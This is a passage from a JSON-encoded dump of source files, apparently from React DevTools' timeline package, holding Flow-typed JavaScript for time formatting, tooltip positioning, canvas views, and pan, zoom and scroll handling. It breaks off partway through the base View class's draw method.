    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {SchedulingEvent} from '../types';\n\nimport prettyMilliseconds from 'pretty-ms';\n\nexport function formatTimestamp(ms: number): string {\n  return (\n    ms.toLocaleString(undefined, {\n      minimumFractionDigits: 1,\n      maximumFractionDigits: 1,\n    }) + 'ms'\n  );\n}\n\nexport function formatDuration(ms: number): string {\n  return prettyMilliseconds(ms, {millisecondsDecimalDigits: 1});\n}\n\nexport function trimString(string: string, length: number): string {\n  if (string.length > length) {\n    return `${string.slice(0, length - 1)}…`;\n  }\n  return string;\n}\n\nexport function getSchedulingEventLabel(event: SchedulingEvent): string | null {\n  switch (event.type) {\n    case 'schedule-render':\n      return 'render scheduled';\n    case 'schedule-state-update':\n      return 'state update scheduled';\n    case 'schedule-force-update':\n      return 'force update scheduled';\n    default:\n      return null;\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/utils/getBatchRange.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport memoize from 'memoize-one';\n\nimport type {\n  BatchUID,\n  Milliseconds,\n  ReactMeasure,\n  TimelineData,\n} from '../types';\n\nfunction unmemoizedGetBatchRange(\n  batchUID: BatchUID,\n  data: TimelineData,\n  minStartTime?: number = 0,\n): [Milliseconds, Milliseconds] {\n  const measures = data.batchUIDToMeasuresMap.get(batchUID);\n  if (measures == null || measures.length === 0) {\n    throw Error(`Could not find measures with batch UID \"${batchUID}\"`);\n  }\n\n  const lastMeasure = ((measures[measures.length - 1]: any): ReactMeasure);\n  const stopTime = lastMeasure.timestamp + lastMeasure.duration;\n\n  if (stopTime < minStartTime) {\n    return [0, 0];\n  }\n\n  let startTime = minStartTime;\n  for (let index = 0; index < measures.length; index++) {\n    const measure = measures[index];\n    if (measure.timestamp >= minStartTime) {\n      startTime = measure.timestamp;\n      break;\n    }\n  }\n\n  return [startTime, stopTime];\n}\n\nexport const getBatchRange: (\n  batchUID: BatchUID,\n  data: TimelineData,\n  minStartTime?: number,\n) => [Milliseconds, Milliseconds] = memoize(unmemoizedGetBatchRange);\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/utils/useSmartTooltip.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {useLayoutEffect, useRef} from 'react';\n\nconst TOOLTIP_OFFSET_BOTTOM = 10;\nconst TOOLTIP_OFFSET_TOP = 5;\n\nexport default function useSmartTooltip({\n  canvasRef,\n  mouseX,\n  mouseY,\n}: {\n  canvasRef: {current: HTMLCanvasElement | null},\n  mouseX: number,\n  mouseY: number,\n}): {current: HTMLElement | null} {\n  const ref = useRef<HTMLElement | null>(null);\n\n  // HACK: Browser extension reports window.innerHeight of 0,\n  // so we fallback to using the tooltip target element.\n  let height = window.innerHeight;\n  let width = window.innerWidth;\n  const target = canvasRef.current;\n  if (target !== null) {\n    const rect = target.getBoundingClientRect();\n    height = rect.top + rect.height;\n    width = rect.left + rect.width;\n  }\n\n  useLayoutEffect(() => {\n    const element = ref.current;\n    if (element !== null) {\n      // Let's check the vertical position.\n      if (mouseY + TOOLTIP_OFFSET_BOTTOM + element.offsetHeight >= height) {\n        // The tooltip doesn't fit below the mouse cursor (which is our\n        // default strategy). Therefore we try to position it either above the\n        // mouse cursor or finally aligned with the window's top edge.\n        if (mouseY - TOOLTIP_OFFSET_TOP - element.offsetHeight > 0) {\n          // We position the tooltip above the mouse cursor if it fits there.\n          element.style.top = `${\n            mouseY - element.offsetHeight - TOOLTIP_OFFSET_TOP\n          }px`;\n        } else {\n          // Otherwise we align the tooltip with the window's top edge.\n          element.style.top = '0px';\n        }\n      } else {\n        element.style.top = `${mouseY + TOOLTIP_OFFSET_BOTTOM}px`;\n      }\n\n      // Now let's check the horizontal position.\n      if (mouseX + TOOLTIP_OFFSET_BOTTOM + element.offsetWidth >= width) {\n        // The tooltip doesn't fit at the right of the mouse cursor (which is\n        // our default strategy). Therefore we try to position it either at the\n        // left of the mouse cursor or finally aligned with the window's left\n        // edge.\n        if (mouseX - TOOLTIP_OFFSET_TOP - element.offsetWidth > 0) {\n          // We position the tooltip at the left of the mouse cursor if it fits\n          // there.\n          element.style.left = `${\n            mouseX - element.offsetWidth - TOOLTIP_OFFSET_TOP\n          }px`;\n        } else {\n          // Otherwise, align the tooltip with the window's left edge.\n          element.style.left = '0px';\n        }\n      } else {\n        element.style.left = `${mouseX + TOOLTIP_OFFSET_BOTTOM}px`;\n      }\n    }\n  });\n\n  return ref;\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/view-base/BackgroundColorView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {View} from './View';\nimport {COLORS} from '../content-views/constants';\n\n/**\n * View that fills its visible area with a CSS color.\n */\nexport class BackgroundColorView extends View {\n  draw(context: CanvasRenderingContext2D) {\n    const {visibleArea} = this;\n\n    context.fillStyle = COLORS.BACKGROUND;\n    context.fillRect(\n      visibleArea.origin.x,\n      visibleArea.origin.y,\n      visibleArea.size.width,\n      visibleArea.size.height,\n    );\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/view-base/HorizontalPanAndZoomView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Size, IntrinsicSize, Rect} from './geometry';\nimport type {\n  Interaction,\n  MouseDownInteraction,\n  MouseMoveInteraction,\n  MouseUpInteraction,\n  WheelPlainInteraction,\n  WheelWithShiftInteraction,\n} from './useCanvasInteraction';\nimport type {ScrollState} from './utils/scrollState';\nimport type {ViewRefs} from './Surface';\nimport type {ViewState} from '../types';\n\nimport {Surface} from './Surface';\nimport {View} from './View';\nimport {rectContainsPoint} from './geometry';\nimport {\n  clampState,\n  moveStateToRange,\n  areScrollStatesEqual,\n  translateState,\n  zoomState,\n} from './utils/scrollState';\nimport {\n  MAX_ZOOM_LEVEL,\n  MIN_ZOOM_LEVEL,\n  MOVE_WHEEL_DELTA_THRESHOLD,\n} from './constants';\n\nexport class HorizontalPanAndZoomView extends View {\n  _contentView: View;\n  _intrinsicContentWidth: number;\n  _isPanning: boolean = false;\n  _viewState: ViewState;\n\n  constructor(\n    surface: Surface,\n    frame: Rect,\n    contentView: View,\n    intrinsicContentWidth: number,\n    viewState: ViewState,\n  ) {\n    super(surface, frame);\n\n    this._contentView = contentView;\n    this._intrinsicContentWidth = intrinsicContentWidth;\n    this._viewState = viewState;\n\n    viewState.onHorizontalScrollStateChange(scrollState => {\n      this.zoomToRange(scrollState.offset, scrollState.length);\n    });\n\n    this.addSubview(contentView);\n  }\n\n  /**\n   * Just sets scroll state.\n   * Use `_setStateAndInformCallbacksIfChanged` if this view's callbacks should also be called.\n   *\n   * @returns Whether state was changed\n   * @private\n   */\n  setScrollState(proposedState: ScrollState) {\n    const clampedState = clampState({\n      state: proposedState,\n      minContentLength: this._intrinsicContentWidth * MIN_ZOOM_LEVEL,\n      maxContentLength: this._intrinsicContentWidth * MAX_ZOOM_LEVEL,\n      containerLength: this.frame.size.width,\n    });\n    if (\n      !areScrollStatesEqual(clampedState, this._viewState.horizontalScrollState)\n    ) {\n      this.setNeedsDisplay();\n    }\n  }\n\n  /**\n   * Zoom to a specific range of the content specified as a range of the\n   * content view's intrinsic content size.\n   *\n   * Does not inform callbacks of state change since this is a public API.\n   */\n  zoomToRange(rangeStart: number, rangeEnd: number) {\n    const newState = moveStateToRange({\n      state: this._viewState.horizontalScrollState,\n      rangeStart,\n      rangeEnd,\n      contentLength: this._intrinsicContentWidth,\n\n      minContentLength: this._intrinsicContentWidth * MIN_ZOOM_LEVEL,\n      maxContentLength: this._intrinsicContentWidth * MAX_ZOOM_LEVEL,\n      containerLength: this.frame.size.width,\n    });\n    this.setScrollState(newState);\n  }\n\n  desiredSize(): Size | IntrinsicSize {\n    return this._contentView.desiredSize();\n  }\n\n  layoutSubviews() {\n    const {offset, length} = this._viewState.horizontalScrollState;\n    const proposedFrame = {\n      origin: {\n        x: this.frame.origin.x + offset,\n        y: this.frame.origin.y,\n      },\n      size: {\n        width: length,\n        height: this.frame.size.height,\n      },\n    };\n    this._contentView.setFrame(proposedFrame);\n    super.layoutSubviews();\n  }\n\n  handleInteraction(interaction: Interaction, viewRefs: ViewRefs) {\n    switch (interaction.type) {\n      case 'mousedown':\n        this._handleMouseDown(interaction, viewRefs);\n        break;\n      case 'mousemove':\n        this._handleMouseMove(interaction, viewRefs);\n        break;\n      case 'mouseup':\n        this._handleMouseUp(interaction, viewRefs);\n        break;\n      case 'wheel-plain':\n      case 'wheel-shift':\n        this._handleWheel(interaction);\n        break;\n    }\n  }\n\n  _handleMouseDown(interaction: MouseDownInteraction, viewRefs: ViewRefs) {\n    if (rectContainsPoint(interaction.payload.location, this.frame)) {\n      this._isPanning = true;\n\n      viewRefs.activeView = this;\n\n      this.currentCursor = 'grabbing';\n    }\n  }\n\n  _handleMouseMove(interaction: MouseMoveInteraction, viewRefs: ViewRefs) {\n    const isHovered = rectContainsPoint(\n      interaction.payload.location,\n      this.frame,\n    );\n    if (isHovered && viewRefs.hoveredView === null) {\n      viewRefs.hoveredView = this;\n    }\n\n    if (viewRefs.activeView === this) {\n      this.currentCursor = 'grabbing';\n    } else if (isHovered) {\n      this.currentCursor = 'grab';\n    }\n\n    if (!this._isPanning) {\n      return;\n    }\n\n    // Don't prevent mouse-move events from bubbling if they are vertical drags.\n    const {movementX, movementY} = interaction.payload.event;\n    if (Math.abs(movementX) < Math.abs(movementY)) {\n      return;\n    }\n\n    const newState = translateState({\n      state: this._viewState.horizontalScrollState,\n      delta: movementX,\n      containerLength: this.frame.size.width,\n    });\n    this._viewState.updateHorizontalScrollState(newState);\n  }\n\n  _handleMouseUp(interaction: MouseUpInteraction, viewRefs: ViewRefs) {\n    if (this._isPanning) {\n      this._isPanning = false;\n    }\n\n    if (viewRefs.activeView === this) {\n      viewRefs.activeView = null;\n    }\n  }\n\n  _handleWheel(interaction: WheelPlainInteraction | WheelWithShiftInteraction) {\n    const {\n      location,\n      delta: {deltaX, deltaY},\n    } = interaction.payload;\n\n    if (!rectContainsPoint(location, this.frame)) {\n      return; // Not scrolling on view\n    }\n\n    const absDeltaX = Math.abs(deltaX);\n    const absDeltaY = Math.abs(deltaY);\n\n    // Vertical scrolling zooms in and out (unless the SHIFT modifier is used).\n    // Horizontal scrolling pans.\n    if (absDeltaY > absDeltaX) {\n      if (absDeltaY < MOVE_WHEEL_DELTA_THRESHOLD) {\n        return;\n      }\n\n      if (interaction.type === 'wheel-shift') {\n        // Shift modifier is for scrolling, not zooming.\n        return;\n      }\n\n      const newState = zoomState({\n        state: this._viewState.horizontalScrollState,\n        multiplier: 1 + 0.005 * -deltaY,\n        fixedPoint: location.x - this._viewState.horizontalScrollState.offset,\n\n        minContentLength: this._intrinsicContentWidth * MIN_ZOOM_LEVEL,\n        maxContentLength: this._intrinsicContentWidth * MAX_ZOOM_LEVEL,\n        containerLength: this.frame.size.width,\n      });\n      this._viewState.updateHorizontalScrollState(newState);\n    } else {\n      if (absDeltaX < MOVE_WHEEL_DELTA_THRESHOLD) {\n        return;\n      }\n\n      const newState = translateState({\n        state: this._viewState.horizontalScrollState,\n        delta: -deltaX,\n        containerLength: this.frame.size.width,\n      });\n      this._viewState.updateHorizontalScrollState(newState);\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/view-base/Surface.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Interaction} from './useCanvasInteraction';\nimport type {Size} from './geometry';\n\nimport memoize from 'memoize-one';\n\nimport {View} from './View';\nimport {zeroPoint} from './geometry';\nimport {DPR} from '../content-views/constants';\n\nexport type ViewRefs = {\n  activeView: View | null,\n  hoveredView: View | null,\n};\n\n// hidpi canvas: https://web.dev/articles/canvas-hidipi\nfunction configureRetinaCanvas(\n  canvas: HTMLCanvasElement,\n  height: number,\n  width: number,\n) {\n  canvas.width = width * DPR;\n  canvas.height = height * DPR;\n  canvas.style.width = `${width}px`;\n  canvas.style.height = `${height}px`;\n}\n\nconst getCanvasContext = memoize(\n  (\n    canvas: HTMLCanvasElement,\n    height: number,\n    width: number,\n    scaleCanvas: boolean = true,\n  ): CanvasRenderingContext2D => {\n    const context = canvas.getContext('2d', {alpha: false});\n    if (scaleCanvas) {\n      configureRetinaCanvas(canvas, height, width);\n\n      // Scale all drawing operations by the dpr, so you don't have to worry about the difference.\n      context.scale(DPR, DPR);\n    }\n    return context;\n  },\n);\n\ntype ResetHoveredEventFn = () => void;\n\n/**\n * Represents the canvas surface and a view heirarchy. A surface is also the\n * place where all interactions enter the view heirarchy.\n */\nexport class Surface {\n  rootView: ?View;\n\n  _context: ?CanvasRenderingContext2D;\n  _canvasSize: ?Size;\n\n  _resetHoveredEvent: ResetHoveredEventFn;\n\n  _viewRefs: ViewRefs = {\n    activeView: null,\n    hoveredView: null,\n  };\n\n  constructor(resetHoveredEvent: ResetHoveredEventFn) {\n    this._resetHoveredEvent = resetHoveredEvent;\n  }\n\n  hasActiveView(): boolean {\n    return this._viewRefs.activeView !== null;\n  }\n\n  setCanvas(canvas: HTMLCanvasElement, canvasSize: Size) {\n    this._context = getCanvasContext(\n      canvas,\n      canvasSize.height,\n      canvasSize.width,\n    );\n    this._canvasSize = canvasSize;\n\n    if (this.rootView) {\n      this.rootView.setNeedsDisplay();\n    }\n  }\n\n  displayIfNeeded() {\n    const {rootView, _canvasSize, _context} = this;\n    if (!rootView || !_context || !_canvasSize) {\n      return;\n    }\n    rootView.setFrame({\n      origin: zeroPoint,\n      size: _canvasSize,\n    });\n    rootView.setVisibleArea({\n      origin: zeroPoint,\n      size: _canvasSize,\n    });\n    rootView.displayIfNeeded(_context, this._viewRefs);\n  }\n\n  getCurrentCursor(): string | null {\n    const {activeView, hoveredView} = this._viewRefs;\n    if (activeView !== null) {\n      return activeView.currentCursor;\n    } else if (hoveredView !== null) {\n      return hoveredView.currentCursor;\n    } else {\n      return null;\n    }\n  }\n\n  handleInteraction(interaction: Interaction) {\n    const rootView = this.rootView;\n    if (rootView != null) {\n      const viewRefs = this._viewRefs;\n      switch (interaction.type) {\n        case 'mousemove':\n        case 'wheel-control':\n        case 'wheel-meta':\n        case 'wheel-plain':\n        case 'wheel-shift':\n          // Clean out the hovered view before processing this type of interaction.\n          const hoveredView = viewRefs.hoveredView;\n          viewRefs.hoveredView = null;\n\n          rootView.handleInteractionAndPropagateToSubviews(\n            interaction,\n            viewRefs,\n          );\n\n          // If a previously hovered view is no longer hovered, update the outer state.\n          if (hoveredView !== null && viewRefs.hoveredView === null) {\n            this._resetHoveredEvent();\n          }\n          break;\n        default:\n          rootView.handleInteractionAndPropagateToSubviews(\n            interaction,\n            viewRefs,\n          );\n          break;\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/view-base/VerticalScrollView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Size, IntrinsicSize, Rect} from './geometry';\nimport type {\n  Interaction,\n  MouseDownInteraction,\n  MouseMoveInteraction,\n  MouseUpInteraction,\n  WheelWithShiftInteraction,\n} from './useCanvasInteraction';\nimport type {ScrollState} from './utils/scrollState';\nimport type {ViewRefs} from './Surface';\nimport type {ViewState} from '../types';\n\nimport {Surface} from './Surface';\nimport {View} from './View';\nimport {rectContainsPoint} from './geometry';\nimport {\n  clampState,\n  areScrollStatesEqual,\n  translateState,\n} from './utils/scrollState';\nimport {MOVE_WHEEL_DELTA_THRESHOLD} from './constants';\nimport {COLORS} from '../content-views/constants';\n\nconst CARET_MARGIN = 3;\nconst CARET_WIDTH = 5;\nconst CARET_HEIGHT = 3;\n\ntype OnChangeCallback = (\n  scrollState: ScrollState,\n  containerLength: number,\n) => void;\n\nexport class VerticalScrollView extends View {\n  _contentView: View;\n  _isPanning: boolean;\n  _mutableViewStateKey: string;\n  _onChangeCallback: OnChangeCallback | null;\n  _scrollState: ScrollState;\n  _viewState: ViewState;\n\n  constructor(\n    surface: Surface,\n    frame: Rect,\n    contentView: View,\n    viewState: ViewState,\n    label: string,\n  ) {\n    super(surface, frame);\n\n    this._contentView = contentView;\n    this._isPanning = false;\n    this._mutableViewStateKey = label + ':VerticalScrollView';\n    this._onChangeCallback = null;\n    this._scrollState = {\n      offset: 0,\n      length: 0,\n    };\n    this._viewState = viewState;\n\n    this.addSubview(contentView);\n\n    this._restoreMutableViewState();\n  }\n\n  setFrame(newFrame: Rect) {\n    super.setFrame(newFrame);\n\n    // Revalidate scrollState\n    this._setScrollState(this._scrollState);\n  }\n\n  desiredSize(): Size | IntrinsicSize {\n    return this._contentView.desiredSize();\n  }\n\n  draw(context: CanvasRenderingContext2D, viewRefs: ViewRefs) {\n    super.draw(context, viewRefs);\n\n    // Show carets if there's scroll overflow above or below the viewable area.\n    if (this.frame.size.height > CARET_HEIGHT * 2 + CARET_MARGIN * 3) {\n      const offset = this._scrollState.offset;\n      const desiredSize = this._contentView.desiredSize();\n\n      const above = offset;\n      const below = this.frame.size.height - desiredSize.height - offset;\n\n      if (above < 0 || below < 0) {\n        const {visibleArea} = this;\n        const {x, y} = visibleArea.origin;\n        const {width, height} = visibleArea.size;\n        const horizontalCenter = x + width / 2;\n\n        const halfWidth = CARET_WIDTH;\n        const left = horizontalCenter + halfWidth;\n        const right = horizontalCenter - halfWidth;\n\n        if (above < 0) {\n          const topY = y + CARET_MARGIN;\n\n          context.beginPath();\n          context.moveTo(horizontalCenter, topY);\n          context.lineTo(left, topY + CARET_HEIGHT);\n          context.lineTo(right, topY + CARET_HEIGHT);\n          context.closePath();\n          context.fillStyle = COLORS.SCROLL_CARET;\n          context.fill();\n        }\n\n        if (below < 0) {\n          const bottomY = y + height - CARET_MARGIN;\n\n          context.beginPath();\n          context.moveTo(horizontalCenter, bottomY);\n          context.lineTo(left, bottomY - CARET_HEIGHT);\n          context.lineTo(right, bottomY - CARET_HEIGHT);\n          context.closePath();\n          context.fillStyle = COLORS.SCROLL_CARET;\n          context.fill();\n        }\n      }\n    }\n  }\n\n  layoutSubviews() {\n    const {offset} = this._scrollState;\n    const desiredSize = this._contentView.desiredSize();\n\n    const minimumHeight = this.frame.size.height;\n    const desiredHeight = desiredSize ? desiredSize.height : 0;\n    // Force view to take up at least all remaining vertical space.\n    const height = Math.max(desiredHeight, minimumHeight);\n\n    const proposedFrame = {\n      origin: {\n        x: this.frame.origin.x,\n        y: this.frame.origin.y + offset,\n      },\n      size: {\n        width: this.frame.size.width,\n        height,\n      },\n    };\n    this._contentView.setFrame(proposedFrame);\n    super.layoutSubviews();\n  }\n\n  handleInteraction(interaction: Interaction): ?boolean {\n    switch (interaction.type) {\n      case 'mousedown':\n        return this._handleMouseDown(interaction);\n      case 'mousemove':\n        return this._handleMouseMove(interaction);\n      case 'mouseup':\n        return this._handleMouseUp(interaction);\n      case 'wheel-shift':\n        return this._handleWheelShift(interaction);\n    }\n  }\n\n  onChange(callback: OnChangeCallback) {\n    this._onChangeCallback = callback;\n  }\n\n  scrollBy(deltaY: number): boolean {\n    const newState = translateState({\n      state: this._scrollState,\n      delta: -deltaY,\n      containerLength: this.frame.size.height,\n    });\n\n    // If the state is updated by this wheel scroll,\n    // return true to prevent the interaction from bubbling.\n    // For instance, this prevents the outermost container from also scrolling.\n    return this._setScrollState(newState);\n  }\n\n  _handleMouseDown(interaction: MouseDownInteraction) {\n    if (rectContainsPoint(interaction.payload.location, this.frame)) {\n      const frameHeight = this.frame.size.height;\n      const contentHeight = this._contentView.desiredSize().height;\n      // Don't claim drag operations if the content is not tall enough to be scrollable.\n      // This would block any outer scroll views from working.\n      if (frameHeight < contentHeight) {\n        this._isPanning = true;\n      }\n    }\n  }\n\n  _handleMouseMove(interaction: MouseMoveInteraction): void | boolean {\n    if (!this._isPanning) {\n      return;\n    }\n\n    // Don't prevent mouse-move events from bubbling if they are horizontal drags.\n    const {movementX, movementY} = interaction.payload.event;\n    if (Math.abs(movementX) > Math.abs(movementY)) {\n      return;\n    }\n\n    const newState = translateState({\n      state: this._scrollState,\n      delta: interaction.payload.event.movementY,\n      containerLength: this.frame.size.height,\n    });\n    this._setScrollState(newState);\n\n    return true;\n  }\n\n  _handleMouseUp(interaction: MouseUpInteraction) {\n    if (this._isPanning) {\n      this._isPanning = false;\n    }\n  }\n\n  _handleWheelShift(interaction: WheelWithShiftInteraction): boolean {\n    const {\n      location,\n      delta: {deltaX, deltaY},\n    } = interaction.payload;\n\n    if (!rectContainsPoint(location, this.frame)) {\n      return false; // Not scrolling on view\n    }\n\n    const absDeltaX = Math.abs(deltaX);\n    const absDeltaY = Math.abs(deltaY);\n    if (absDeltaX > absDeltaY) {\n      return false; // Scrolling horizontally\n    }\n\n    if (absDeltaY < MOVE_WHEEL_DELTA_THRESHOLD) {\n      return false; // Movement was too small and should be ignored.\n    }\n\n    return this.scrollBy(deltaY);\n  }\n\n  _restoreMutableViewState() {\n    if (\n      this._viewState.viewToMutableViewStateMap.has(this._mutableViewStateKey)\n    ) {\n      this._scrollState = ((this._viewState.viewToMutableViewStateMap.get(\n        this._mutableViewStateKey,\n      ): any): ScrollState);\n    } else {\n      this._viewState.viewToMutableViewStateMap.set(\n        this._mutableViewStateKey,\n        this._scrollState,\n      );\n    }\n\n    this.setNeedsDisplay();\n  }\n\n  _setScrollState(proposedState: ScrollState): boolean {\n    const contentHeight = this._contentView.frame.size.height;\n    const containerHeight = this.frame.size.height;\n\n    const clampedState = clampState({\n      state: proposedState,\n      minContentLength: contentHeight,\n      maxContentLength: contentHeight,\n      containerLength: containerHeight,\n    });\n    if (!areScrollStatesEqual(clampedState, this._scrollState)) {\n      this._scrollState.offset = clampedState.offset;\n      this._scrollState.length = clampedState.length;\n\n      this.setNeedsDisplay();\n\n      if (this._onChangeCallback !== null) {\n        this._onChangeCallback(clampedState, this.frame.size.height);\n      }\n\n      return true;\n    }\n\n    // Don't allow wheel events to bubble past this view even if we've scrolled to the edge.\n    // It just feels bad to have the scrolling jump unexpectedly from in a container to the outer page.\n    // The only exception is when the container fits the content (no scrolling).\n    if (contentHeight === containerHeight) {\n      return false;\n    }\n\n    return true;\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/view-base/View.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Interaction} from './useCanvasInteraction';\nimport type {IntrinsicSize, Rect, Size} from './geometry';\nimport type {Layouter} from './layouter';\nimport type {ViewRefs} from './Surface';\n\nimport {Surface} from './Surface';\nimport {\n  rectEqualToRect,\n  intersectionOfRects,\n  rectIntersectsRect,\n  sizeIsEmpty,\n  sizeIsValid,\n  unionOfRects,\n  zeroRect,\n} from './geometry';\nimport {noopLayout, viewsToLayout, collapseLayoutIntoViews} from './layouter';\n\n/**\n * Base view class that can be subclassed to draw custom content or manage\n * subclasses.\n */\nexport class View {\n  _backgroundColor: string | null;\n\n  currentCursor: string | null = null;\n\n  surface: Surface;\n\n  frame: Rect;\n  visibleArea: Rect;\n\n  superview: ?View;\n  subviews: View[] = [];\n\n  /**\n   * An injected function that lays out our subviews.\n   * @private\n   */\n  _layouter: Layouter;\n\n  /**\n   * Whether this view needs to be drawn.\n   *\n   * NOTE: Do not set directly! Use `setNeedsDisplay`.\n   *\n   * @see setNeedsDisplay\n   * @private\n   */\n  _needsDisplay: boolean = true;\n\n  /**\n   * Whether the hierarchy below this view has subviews that need display.\n   *\n   * NOTE: Do not set directly! Use `setSubviewsNeedDisplay`.\n   *\n   * @see setSubviewsNeedDisplay\n   * @private\n   */\n  _subviewsNeedDisplay: boolean = false;\n\n  constructor(\n    surface: Surface,\n    frame: Rect,\n    layouter: Layouter = noopLayout,\n    visibleArea: Rect = frame,\n    backgroundColor?: string | null = null,\n  ) {\n    this._backgroundColor = backgroundColor || null;\n    this.surface = surface;\n    this.frame = frame;\n    this._layouter = layouter;\n    this.visibleArea = visibleArea;\n  }\n\n  /**\n   * Invalidates view's contents.\n   *\n   * Downward propagating; once called, all subviews of this view should also\n   * be invalidated.\n   */\n  setNeedsDisplay() {\n    this._needsDisplay = true;\n    if (this.superview) {\n      this.superview._setSubviewsNeedDisplay();\n    }\n    this.subviews.forEach(subview => subview.setNeedsDisplay());\n  }\n\n  /**\n   * Informs superview that it has subviews that need to be drawn.\n   *\n   * Upward propagating; once called, all superviews of this view should also\n   * have `subviewsNeedDisplay` = true.\n   *\n   * @private\n   */\n  _setSubviewsNeedDisplay() {\n    this._subviewsNeedDisplay = true;\n    if (this.superview) {\n      this.superview._setSubviewsNeedDisplay();\n    }\n  }\n\n  setFrame(newFrame: Rect) {\n    if (!rectEqualToRect(this.frame, newFrame)) {\n      this.frame = newFrame;\n      if (sizeIsValid(newFrame.size)) {\n        this.frame = newFrame;\n      } else {\n        this.frame = zeroRect;\n      }\n      this.setNeedsDisplay();\n    }\n  }\n\n  setVisibleArea(newVisibleArea: Rect) {\n    if (!rectEqualToRect(this.visibleArea, newVisibleArea)) {\n      if (sizeIsValid(newVisibleArea.size)) {\n        this.visibleArea = newVisibleArea;\n      } else {\n        this.visibleArea = zeroRect;\n      }\n      this.setNeedsDisplay();\n    }\n  }\n\n  /**\n   * A size that can be used as a hint by layout functions.\n   *\n   * Implementations should typically return the intrinsic content size or a\n   * size that fits all the view's content.\n   *\n   * The default implementation returns a size that fits all the view's\n   * subviews.\n   *\n   * Can be overridden by subclasses.\n   */\n  desiredSize(): Size | IntrinsicSize {\n    if (this._needsDisplay) {\n      this.layoutSubviews();\n    }\n    const frames = this.subviews.map(subview => subview.frame);\n    return unionOfRects(...frames).size;\n  }\n\n  /**\n   * Appends `view` to the list of this view's `subviews`.\n   */\n  addSubview(view: View) {\n    if (this.subviews.includes(view)) {\n      return;\n    }\n    this.subviews.push(view);\n    view.superview = this;\n  }\n\n  /**\n   * Breaks the subview-superview relationship between `view` and this view, if\n   * `view` is a subview of this view.\n   */\n  removeSubview(view: View) {\n    const subviewIndex = this.subviews.indexOf(view);\n    if (subviewIndex === -1) {\n      return;\n    }\n    view.superview = undefined;\n    this.subviews.splice(subviewIndex, 1);\n  }\n\n  /**\n   * Removes all subviews from this view.\n   */\n  removeAllSubviews() {\n    this.subviews.forEach(subview => (subview.superview = undefined));\n    this.subviews = [];\n  }\n\n  /**\n   * Executes the display flow if this view needs to be drawn.\n   *\n   * 1. Lays out subviews with `layoutSubviews`.\n   * 2. Draws content with `draw`.\n   */\n  displayIfNeeded(context: CanvasRenderingContext2D, viewRefs: ViewRefs) {\n    if (\n      (this._needsDisplay || this._subviewsNeedDisplay) &&\n      rectIntersectsRect(this.frame, this.visibleArea) &&\n      !sizeIsEmpty(this.visibleArea.size)\n    ) {\n      this.layoutSubviews();\n      if (this._needsDisplay) {\n        this._needsDisplay = false;\n      }\n      if (this._subviewsNeedDisplay) this._subviewsNeedDisplay = false;\n\n      // Clip anything drawn by the view to prevent it from overflowing its visible area.\n      const visibleArea = this.visibleArea;\n      const region = new Path2D();\n      region.rect(\n        visibleArea.origin.x,\n        visibleArea.origin.y,\n        visibleArea.size.width,\n        visibleArea.size.height,\n      );\n      context.save();\n      context.clip(region);\n      context.beginPath();\n\n      this.draw(context, viewRefs);\n\n      // Stop clipping\n      context.restore();\n    }\n  }\n\n  /**\n   * Layout self and subviews.\n   *\n   * Implementations should call `setNeedsDisplay` if a draw is required.\n   *\n   * The default implementation uses `this.layouter` to lay out subviews.\n   *\n   * Can be overwritten by subclasses that wish to manually manage their\n   * subviews' layout.\n   *\n   * NOTE: Do not call directly! Use `displayIfNeeded`.\n   *\n   * @see displayIfNeeded\n   */\n  layoutSubviews() {\n    const {frame, _layouter, subviews, visibleArea} = this;\n    const existingLayout = viewsToLayout(subviews);\n    const newLayout = _layouter(existingLayout, frame);\n    collapseLayoutIntoViews(newLayout);\n\n    subviews.forEach((subview, subviewIndex) => {\n      if (rectIntersectsRect(visibleArea, subview.frame)) {\n        subview.setVisibleArea(intersectionOfRects(visibleArea, subview.frame));\n      } else {\n        subview.setVisibleArea(zeroRect);\n      }\n    });\n  }\n\n  /**\n   * Draw the contents of this view in the given canvas `context`.\n   *\n   * Defaults to drawing this view's `subviews`.\n   *\n   * To be overwritten by subclasses that wish to draw custom content.\n   *\n   * NOTE: Do not call directly! Use `displayIfNeeded`.\n   *\n   * @see displayIfNeeded\n   */\n  draw(context: CanvasRenderingContext2D, viewRefs: ViewRefs) {\n    const {subviews, visibleArea} = this;\n    subviews.forEach(subview => {\n      if (rectIntersectsRect(visibleArea, subview.visibleArea)) {\n        subview.displayIfNeeded(context, viewRefs);\n      }\n    });\n\n    const backgroundColor = this._backgroundColor;\n    if (backgroundColor !== null) {\n      const desiredSize = this.desiredSize();\n      if (visibleArea.size.height > desiredSize.height) {\n        context.fillStyle = backgroundColor;\n        context.fillRect(\n          